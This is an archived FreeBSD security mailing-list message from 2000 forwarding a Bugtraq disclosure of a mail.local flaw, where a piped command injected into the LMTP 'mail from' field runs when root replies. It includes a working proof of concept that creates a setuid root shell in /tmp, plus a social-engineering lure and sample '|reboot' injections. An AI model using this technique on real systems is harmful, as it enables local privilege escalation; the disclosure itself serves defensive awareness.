Date: Thu, 02 Nov 2000 05:41:49 -0800 From: Cy Schubert - ITSD Open Systems Group <Cy.Schubert@uumail.gov.bc.ca> To: freebsd-security@freebsd.org Subject: vulnerability in mail.local (fwd) Message-ID: <200011021341.eA2DfuZ34050@cwsys.cwsent.com>
next in thread | raw e-mail | index | archive | help
Looks like we could be vulnerable too. Regards, Phone: (250)387-8437 Cy Schubert Fax: (250)387-5766 Team Leader, Sun/DEC Team Internet: Cy.Schubert@osg.gov.bc.ca Open Systems Group, ITSD, ISTA Province of BC ------- Forwarded Message [headers removed] Message-ID: <F63BZTW5k1Ed28kIN4M00005711@hotmail.com> Date: Wed, 1 Nov 2000 18:57:10 GMT Reply-To: gregory duchemin <c3rb3r@HOTMAIL.COM> Sender: Bugtraq List <BUGTRAQ@SECURITYFOCUS.COM> From: gregory duchemin <c3rb3r@HOTMAIL.COM> Subject: vulnerability in mail.local To: BUGTRAQ@SECURITYFOCUS.COM hi, mail.local is a little setuid root prog designed, like its name suggest, for local mail delivering. Used with the -l option, we have an interactive mode in lmtp protocol ( simplified smtp for local mail delivery only ) A weakness exists in the 'mail from' field that allow any local user to insert a piped shell command that may be executed by the recipient when he does a reply with the mail command. A little social engineering skill should help to root the boxe. Finally, mail.local shouldn't allow such escape chars even in the mail from field and the command mail shouldn't allow such a reply through a pipe. A space char in the command will finish the string, so either u use a single command like '|reboot' or use a comma that should be converted in space by mail. eg: '|shutdown,now' Linux 2.4.0 beta Caldera that was freely distributed during the defcon 00 is vulnerable to this pb. That looks like the old sendmail bugs nostalgia ======= #cat exploit #!/bin/sh cp /bin/sh /tmp/newsh chmod a+rws /tmp/newsh #id #id=666(c3rb3r) gid=100(user) # #cp exploit /tmp/@hotmail.com #chmod a+x /tmp/@hotmail.com #mail.local -l .... mail from:<|/tmp/@hotmail.com> U can use many senders to hide the evil string rcpt to:<root> data Subject:I have a problem I need higher priviledge on this machine, can u do something for me please ? thanx. c3rb3r ------- End of Forwarded Message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message
Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?200011021341.eA2DfuZ34050>